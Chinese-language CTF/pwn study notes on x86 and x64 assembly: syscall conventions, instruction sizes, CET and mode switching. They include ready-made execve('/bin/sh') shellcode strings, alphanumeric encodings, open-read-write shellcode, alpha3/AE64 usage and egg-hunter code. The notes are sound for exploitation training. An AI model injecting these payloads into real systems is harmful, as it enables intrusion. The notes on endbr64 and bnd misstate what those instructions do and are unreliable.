基础汇编

syscall(~int 0x80)

function syscall number x86_32 syscall number x86_64
read 3 0
write 4 1
open 5 2
execve 11 59

64位下照样可以用int 0x80

  • syscall:
    寄存器 rax 中存放系统调用号,同时系统调用返回值也存放在 rax 中
    当系统调用参数小于等于6个时,参数则必须按顺序放到寄存器 rdi,rsi,rdx,r10,r8,r9中
  • int 0x80 :
    寄存器 rax 中存放系统调用号,同时返回值也存放在 rax 中
    当系统调用参数小于等于6个时,参数则必须按顺序放到寄存器 rbx,rcx,rdx,rsi,rdi ,rbp中

汇编长度判断

mov

双寄存器

指令 长度(bytes)
mov r64,r64 3
mov e32,e32 2
mov 16,16 3

单寄存器

指令 长度(bytes)
mov r64,int32 7
mov r64,int64 10
mov r64,[r64]/mov [r64],r64 3~4
mov r64,[r64+0x??]/mov [r64+0x??],r64 在上基础根据??判断增加
mov e32,int32 5
mov e32,[e32]/mov [e32],e32 2~3
mov e32,[e32+0x??]/mov [e32+0x??],e32 在上基础根据??判断增加

在上基础根据??判断增加:增加规则,2个十六进制数及以下+1字节;3到8个十六进制数+4字节,再往上+8字节

push&pop

指令 长度(bytes)
push int8 2
push int32/int64 5
push r64/e32 1
pop r64/e32 1
pop [r64] 2~3
pop [r64+0x??] 在上基础根据??判断增加

and&or&xor

指令 长度(bytes)
and/or r64,r64 3
and/or/xor r64,int8/int32/int64 4/6/10?
and/or e32,e32 2
and/or/xor r64,int8/int32/int64 3/6/10?

jmp

指令 长度(bytes)
jmp r64(绝对跳转) 2
jmp $+0x??(相对跳转) 视??决定,>=2

指令相关

movabs

在x86-64架构下想要加载一个64位的立即数,应该使用 movabs 指令,而不是 mov 指令,以确保立即数被正确加载到64位寄存器中。

当将64位的立即数赋值给寄存器时

应该这样写movabs <寄存器>, <立即数>

不过写mov影响也不大,因为编译后会自动处理为movabs

movzx&movsx

movzx用于将一个较小的无符号数(通常是8位或16位)从一个寄存器复制到另一个较大的寄存器,并在高位补零。

这个指令通常用于将无符号数扩展到较大的寄存器中,以便进行后续的运算,避免出现符号位扩展的问题。

例如,x86 架构中的 movzx 可以这样使用:

1
2
assemblyCopy code
movzx eax, byte ptr [ebx]

这条指令会将存储在 ebx 寄存器指向的内存地址中的一个8位无符号数值复制到 eax 寄存器,并将 eax 的高位补零,将其扩展为32位。这样,eax 中的值将是一个无符号的32位整数。

movsxmovsx的有符号对应指令

cdqe&cdq

cdqecdq 是x86-64架构(amd64)中的指令,用于对寄存器进行符号扩展,特别是在从32位寄存器到64位寄存器的数据传送中。

  1. cdqe 指令

    • cdqe 用于从32位寄存器 eax 扩展到64位寄存器 rax。它执行符号扩展,即将 eax 的符号位(即最高位)复制到 rax 的高位,使得 rax 的高32位与 eax 的值保持一致。
    • 在32位代码中,通常使用 cdqe 来将有符号的32位整数符号扩展为64位整数,以便继续在64位寄存器中进行操作。

    示例:

    1
    2
    mov eax, -123   ; 将一个有符号的32位整数 -123 赋值给 eax
    cdqe ; 将 eax 符号扩展到 rax,此时 rax 的值为 (0xFFFFFFFFFFFFFF85)
  2. cdq 指令

    • cdq 用于从32位寄存器 eax 扩展到64位寄存器组合 edx:eax。它执行符号扩展,即将 eax 的符号位(即最高位)复制到 edx 的所有位,使得 edx 全部填充为 eax 的符号位。
    • 在32位代码中,通常使用 cdq 来将有符号的32位整数符号扩展为64位整数的组合(即edx:eax),以便进行64位整数运算。

    示例:

    1
    2
    mov eax, -123   ; 将一个有符号的32位整数 -123 赋值给 eax
    cdq ; 将 eax 符号扩展到 edx:eax,此时 edx 的值全部为 0xFFFFFFF(-1)

bnd

在汇编中,经常能看到jmp指令前有一个bnd标识符

在汇编语言中,bnd 指令通常用于设置边界检查,以确保内存访问不会超出指定的边界。bnd 指令通常与条件跳转指令(如 jmp)一起使用,以实现在特定条件下跳转到目标地址。

具体来说,bnd 指令可以用来设置内存操作的边界检查条件。如果边界检查条件失败,那么跳转指令(如 jmp)可能不会执行跳转,从而防止越界访问。

endbr32&&endbr64

参考文章endbr64指令(x64) | CS笔记 (pynote.net)

在代码段的开头有一条指令出现频率非常高,就是endbr64

该指令是Intel CET(Control flow Enforcement Technology)技术的一部分

Intel CET offers hardware protection against Return-oriented Programming (ROP) and Jump/Call-oriented Programming (JOP/COP) attacks, which manipulate control flow in order to re-use existing code for malicious purposes.

Its two major features are:

  • a shadow stack for tracking return addresses and
  • indirect branch tracking, which endbr64 is a part of.

The opcode is chosen to be a NOP on older processors, such that the instruction is ignored if CET is not supported, the same happens on CET-capable processors where indirect branch tracking is disabled.

So what does endbr64 do?

Preconditions:

  • CET must be enabled by setting the control register flag CR4.CET to 1.
  • The appropriate flags for indirect branch tracking in the IA32_U_CET (user mode) or IA32_S_CET (supervisor mode) MSRs are set.

how endbr64 works?

endbr64 is an x86-64 instruction that is used as part of Control Flow Enforcement Technology (CET), which is a security feature designed to mitigate certain types of attacks such as Return Oriented Programming (ROP) and Jump Oriented Programming (JOP).

The basic idea behind CET is to create shadow stacks that keep track of the call site addresses using a separate stack from the regular call stack. This can help detect when an attacker tries to redirect program execution by overwriting the return address on the regular call stack.

However, there is still a vulnerability in this approach: an attacker could potentially use gadgets that don’t include a ret instruction at the end, preventing the shadow stack from being updated properly. In other words, an attacker could subvert the control-flow enforcement mechanism by using a gadget to jump directly to another gadget without actually returning to the original code.

This is where endbr64 comes in. It is used to mark the end of a branch instruction sequence (such as a jmp or call) and ensures that the shadow stack is updated even if the branch doesn’t end with a ret. The endbr64 instruction is placed immediately after the branch instruction and signals to the processor that the branch has ended and that the shadow stack should be updated accordingly.

In summary, endbr64 is a security feature designed to complement Control Flow Enforcement Technology (CET) by ensuring that the shadow stack is correctly updated even in the presence of branches that do not end with a ret instruction. This helps to prevent attacks such as ROP and JOP that attempt to hijack program execution by manipulating the control flow of the program.

CET 通过编译器在合理的间接跳转 (call/jmp) 中用新的指令做标记,新指令包含 endbr32 和 endbr64。程序每次执行跳转时,CPU 都会判断下一条指令是不是 endbr32/endbr64 指令,如果是则正常执行,如果不是,则会触发 #CP 异常。

repz ret

指令组合 rep;ret 在反汇编中对应于 repz;retq,分别对应同义名。在指导建议书中建议 ret 前增加rep 的组合来避免使 ret 指令成为条件跳转指令的目标。根据 AMD 的说法,当通过跳转指令跳转到ret 指令时,处理器不能正确预测 ret 指令的目的。这里的 rep 指令就是一种空操作,因此作为跳转目的插入它,除了能使代码在 AMD 上运行的更快,同时不会改变代码的其他行为。

seta&setb

设置al,bl用的指令

test&cmp

test ax,bx相当于and ax,bx

cmp ax,bx相当于sub ax,bx

不过它们根据计算的结果调整flag标志位,并不保存计算结果

ror&&rol

在汇编语言中,ror 是“循环右移”(Rotate Right)的缩写。ror 指令将二进制数据按位向右循环移动,被移出的位会重新出现在最左侧。这个操作通常用于对二进制数据进行循环移位,比如在加密算法、校验和计算等方面。

与之相对应的还有rol,左循环移位

retfq

程序运行时判别是64位还是32位,主要靠cs寄存器

retfq就相当于pop ip; pop cs

其中cs0x23代表32位,为0x33代表64

还有需要注意的是,在64位切换到32位时,地址解析的规则也会变为32位的,因此栈帧会发生改变,如原先的rsp = 0x7fff23333333会被解析成esp = 0x23333333,所以直接把ropshellcode布置在64位的地址上就会在pushpop等操作时出问题,故需要先将ropshellcode写入bss段等短地址区域上,在切换跳转后,也要注意平衡栈帧。

ret $n

在搜索gagdet时,经常会遇到ret 后面接一个立即数的例如ret 0x5069

之前一直认为这是返回到0x5069的意思

但其实这相当于pop ip;sp+=n

常用的ret实际上就相当于是ret 0pop ip;sp+=0

高位清空机制

intel规定,对通用寄存器低32位操作会导致高32位清零,对低16位、8位操作则对高位无影响

例如:

1
2
3
mov eax,0x888  ;会导致rax高32位清零
mov ax,0x88 ;不会导致rax高32位清零
mov al,0x8 ;不导致rax高32位清零

c内联汇编_asm_

在c语言中可以使用_asm_标识符来声明一段汇编代码

例如

1
2
3
4
5
6
7
__asm__ (
"pop %rdi\n"
"pop %rsi\n"
"pop %rdx\n"
"mov %rax, 1\n"
"ret\n"
);

不过其使用的是AT&T语法,还要注意每一句的结尾需要换行

shellcode相关

shellcode(getshell)

amd64

22字节:

1
\x48\x31\xF6\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\xB0\x3B\x99\x0F\x05

需要确保rax高位本来就是0

23字节:

1
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05

53字节,pwntools:

1
\x6A\x68\x48\xB8\x2F\x62\x69\x6E\x2F\x2F\x2F\x73\x50\x48\x89\xE7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xF6\x56\x6A\x08\x5E\x48\x01\xE6\x56\x48\x89\xE6\x31\xD2\xFF\x34\x25\x00\x00\x00\x00\x58\x0F\x05

纯ascii大小写字母加数字表示的shellcode:

1
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

i386

18字节:

1
\x6A\x0B\x58\x53\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80

21字节:

1
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

48字节,pwntools:

1
\x6A\x68\x68\x2F\x2F\x2F\x73\x68\x2F\x62\x69\x6E\x89\xE3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xC9\x51\x6A\x04\x59\x01\xE1\x51\x89\xE1\x31\xD2\xFF\x35\x00\x00\x00\x00\x58\xCD\x80

纯ascii大小写字母加数字表示的shellcode:

1
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA

shellcode(orw)

i386

采用int 0x80系统中断达到系统调用

eax存放系统调用号并在调用结束存储返回值,ebx,ecx,edx,esi,edi依次为参数,与函数调用约定存放在栈中不同

open(返回文件流序号fd)

1
2
3
4
5
6
7
xor ecx,ecx
push ecx ;文件名结束'\x00'
push 文件名ascii->小端序数据
mov ebx,esp ;文件名在栈中
xor edx,edx ;int mode
mov eax,5 ;sys_open
int 0x80

read

1
2
3
4
5
mov ebx,eax   ;上一步返回的fd存储在eax
mov ecx,esp ;写在何处,一般直接在栈上,也可以在别处
mov edx,0x?? ;大小
mov eax,3 ;sys_read
int 0x80

write

1
2
3
4
5
mov ebx,1     ;mov ebx,2也行
/*0标准输入,1标准输出,2标准错误*/
mov edx,0x?? ;大小
mov eax,4 ;sys_write
int 0x80

amd64

与i386大同小异

采用syscall系统调用

rax存放系统调用号并在调用结束存储返回值,rdi,rsi,rdx,rcx,r8,r9依次为参数,与函数调用约定一致

open

1
2
3
4
5
6
7
8
xor rsi,rsi
xor rdx,rdx
push rdx ;文件名结束'\x00',也可以添加在文件名其实
push 文件名ascii->小端序数据
mov rdi,rsp
xor rax,rax
mov al,2 ;直接mov rax,2要更长
syscall

read

1
2
3
4
5
mov rdi,rax
mov rsi,rsp
mov dl,0x??
mov al,0
syscall

write

1
2
3
4
xor rdi,rdi
mov edi,1
mov al,1;
syscall

纯可见字符shellcode

相关资料

Alphanumeric shellcode

x86纯字符编码表

x64纯字符编码表

alpha3

其是一个python2的脚本

使用方法:

先生成shellcode

1
2
3
4
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)

保存到aplha3目录下

python2 sc.py > payload

生成纯可见字符alpha shellcode

python2 ./ALPHA3.py x64 ascii mixedcase rax --input="payload"

参数分析:

  • x64 选择位数[可选x86]
  • ascii mixedcase 选择字符表[可选ascii uppercase (数字+大写字母) ascii lowercase (数字+小写字母) ascii mixedcase (数字+大小写字母)]
  • rax 用于编码的寄存器(shellcode基址) 见下引例
  • —input=’’ 输入文件

比如有如下代码:

1
2
3
4
5
00101246 48 8d     LEA    RAX,[RBP + -0x410]
85 f0
fb ff
0010124d ff d0 CALL RAX
; ...

通过call rax跳转到shellcode,那么alpha3命令中用于编码的寄存器就是rax

shellcode的起始地址存在哪个寄存器中,用于编码的寄存器就是哪个


alpha3支持的所有编码方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Valid base address examples for each encoder, ordered by encoder settings,
are:

[x64 ascii mixedcase]
AscMix (r64) RAX RCX RDX RBX RSP RBP RSI RDI

[x86 ascii lowercase]
AscLow 0x30 (rm32) ECX EDX EBX

[x86 ascii mixedcase]
AscMix 0x30 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
[EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [ESP-4]
ECX+2 ESI+4 ESI+8
AscMix 0x30 (i32) (address)
AscMix Countslide (rm32) countslide:EAX+offset~uncertainty
countslide:EBX+offset~uncertainty
countslide:ECX+offset~uncertainty
countslide:EDX+offset~uncertainty
countslide:ESI+offset~uncertainty
countslide:EDI+offset~uncertainty
AscMix Countslide (i32) countslide:address~uncertainty
AscMix SEH GetPC (XPsp3) seh_getpc_xpsp3

[x86 ascii uppercase]
AscUpp 0x30 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
[EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

[x86 latin-1 mixedcase]
Latin1Mix CALL GetPC call

[x86 utf-16 uppercase]
UniUpper 0x10 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
[EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

ae64

AE64是杭电的一位大师傅写的python3脚本工具,专用于生成64位的aplha shellcode。

AE64的优势在于编码时可以更加灵活地使用寄存器,但是生成的alpha shellcode比alpha3要更长一些。

此外AE64是python写的,可以直接在python中调用,以下是官方的栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./example1')

obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'r13')

p.sendline(sc)

p.interactive()

shellcraft使用

pwntools自带的shell生成模块,生成的汇编代码能达到目的,但一般长度较大

shellcraft.sh()

shellcraft.read()

shellcraft.write()

shellcraft.open()

寄存器记得加引号

手搓

清零

syscall

int 0x80

参数布置

等等

技巧

egg-hunter

参考

  1. 原创]Linux egg-hunt shellcode-Pwn-看雪-安全社区|安全招聘|kanxue.com
  2. http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

所谓的egg-hunter其实就是利用有限的shellcode去搜索其他shellcode并执行

对现在大多数linux环境下其实并不太实用,因为NX的存在

不过我们能从中学到用于内存搜索的shellcode技巧,即对access或sigaction系统调用的使用

在用户态下shellcode利用下,如果我们需要拥有内存搜索的能力,其中最重要的就是在不知道地址空间布局的情况下,我们如何判断一个内存地址是否处于空洞

access

access系统调用用于判断调用进程是否具有对指定的文件执行某种操作的权限

1
2
#include <unistd.h>
int access(const char *pathname, int mode);

乍一看这怎么能帮助我们判断内存地址有效呢

man access中可以看到access有一个返回值EFAULT当出现这种情况时代表pathname points outside your accessible address space.

即第一个参数指向不可访问区域,因此我们可以通过该返回值判断内存地址是否位于空洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
00000000 BB90509050 mov ebx,0x50905090
00000005 31C9 xor ecx,ecx
00000007 F7E1 mul ecx
00000009 6681CAFF0F or dx,0xfff
0000000E 42 inc edx
0000000F 60 pusha
00000010 8D5A04 lea ebx,[edx+0x4]
00000013 B021 mov al,0x21
00000015 CD80 int 0x80
00000017 3CF2 cmp al,0xf2
00000019 61 popa
0000001A 74ED jz 0x9
0000001C 391A cmp [edx],ebx
0000001E 75EE jnz 0xe
00000020 395A04 cmp [edx+0x4],ebx
00000023 75E9 jnz 0xe
00000025 FFE2 jmp edx

sigaction

1
int sigaction(int signum, const struct sigaction *act,struct sigaction *oldact);

同样的套路

当返回EFAULT代表act or oldact points to memory which is not a valid part of the process address space.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
00000000 6681C9FF0F or cx,0xfff
00000005 41 inc ecx
00000006 6A43 push byte +0x43
00000008 58 pop eax
00000009 CD80 int 0x80
0000000B 3CF2 cmp al,0xf2
0000000D 74F1 jz 0x0
0000000F B890509050 mov eax,0x50905090
00000014 89CF mov edi,ecx
00000016 AF scasd
00000017 75EC jnz 0x5
00000019 AF scasd
0000001A 75E9 jnz 0x5
0000001C FFE7 jmp edi

可以看出来利用sigaction实现和用access实现却别并不大。sigaction实现起来更加的简短,但是它也有缺点,缺点就是没有access实现的稳定,容易产生大量的EFAULT,并且sigaction系统调用从函数原型来看是有三个参数的,这里只传了第二个参数,一般情况下没有什么问题,但是有可能会出问题,根据文章中的解决方法是:把edx初始化为NULL、ebx为一个无效的signal number


以上例子都是针对寻找shellcode并跳转执行

如果我们需要搜索内存并输出,只要将跳转部分改为write调用即可